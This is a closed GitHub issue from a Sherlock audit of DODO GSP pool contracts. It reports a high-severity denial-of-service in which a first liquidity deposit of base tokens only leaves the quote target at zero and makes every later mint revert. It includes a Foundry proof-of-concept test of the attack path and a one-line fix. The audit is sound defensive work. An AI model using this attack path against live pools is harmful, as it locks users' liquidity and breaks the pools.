sherlock-audit / 2023-12-dodo-gsp-judging

6 stars 5 forks source link

nuthan2x - GSP pool can be permanently paused by gaming the initial liquidity action #164

Closed sherlock-admin closed 6 months ago

sherlock-admin commented 6 months ago

nuthan2x

high

GSP pool can be permanently paused by gaming the initial liquidity action

Summary

GSP pools with guide price i <= 1e15 can be paused which reverts on next mint. So no new liquidity means no swap actions, making the pool useless

Vulnerability Detail

Check out the below poc for clear attack path

interface IGSP {
    function _QUOTE_TARGET_() external view returns (uint112);
    function buyShares(address to) external returns (uint256 shares, uint256 baseInput, uint256 quoteInput);
    function sync() external;
    function init(address maintainer,address baseTokenAddress,address quoteTokenAddress,uint256 lpFeeRate,uint256 mtFeeRate,uint256 i,uint256 k,bool isOpenTWAP) external;
}

contract GspTest is Test {
    IGSP  gsp;
    MockERC20  BASE_TOKEN;
    MockERC20  QUOTE_TOKEN;

    address constant MAINTAINER = address(0xdead);
    uint256 i = 1e18; // 1 USDC = 1 DAI

    function setUp() public {
        gsp = IGSP(address(new GSP()));
    }

    function testFirstLpAttack(uint quoteSecondLPamount, uint baseSecondLPamount) public {
        vm.assume(baseSecondLPamount > 1000 && baseSecondLPamount < 1000_000e6 * 2); // 1 M$
        vm.assume(quoteSecondLPamount > 1000 && quoteSecondLPamount < 1000_000e6 * 2); // 1 M$

        uint baseDecimals = 6; // TODO fuzz it
        uint quoteDecimals = 6;

        MockERC20 C = BASE_TOKEN;
        MockERC20 D = QUOTE_TOKEN;

        i = 1e6;
        uint k = 50000000000000;

        C = (new MockERC20("USDC", "USDC", uint8(baseDecimals)));
        D = (new MockERC20("DAI", "DAI", uint8(quoteDecimals)));
        C.mint(address(this), UINT256_MAX/2);
        D.mint(address(this), UINT256_MAX/2);

        // initialize
        gsp.init(MAINTAINER, address(C), address(D), 0, 0, i, k, true);

        // first LP mint
        C.transfer(address(gsp), 1001); 
        D.transfer(address(gsp), 0); 
        gsp.buyShares(address(this));
        assertEq(gsp._QUOTE_TARGET_(), 0); // 0 target

        // second Lp mint always fails
        C.transfer(address(gsp), baseSecondLPamount); 
        D.transfer(address(gsp), quoteSecondLPamount); 
        vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
        gsp.buyShares(address(this));

        // trying to sync
        D.transfer(address(gsp), 1001); 
        gsp.sync();

        // third Lp mint also fails
        C.transfer(address(gsp), baseSecondLPamount); 
        D.transfer(address(gsp), quoteSecondLPamount); 
        vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
        gsp.buyShares(address(this));
    }
}

Impact

Pool can be permanently paused by causing Deniel of service.

Code Snippet

Tool used

Manual Review, foundry testing

Recommendation

Modify this line from GSPFunding.buyShares()

-       require(baseInput > 0, "NO_BASE_INPUT");
+       require(baseInput > 0 && quoteInput > 0, "NO_BASE+OR_QUOTE_INPUT");

Duplicate of #48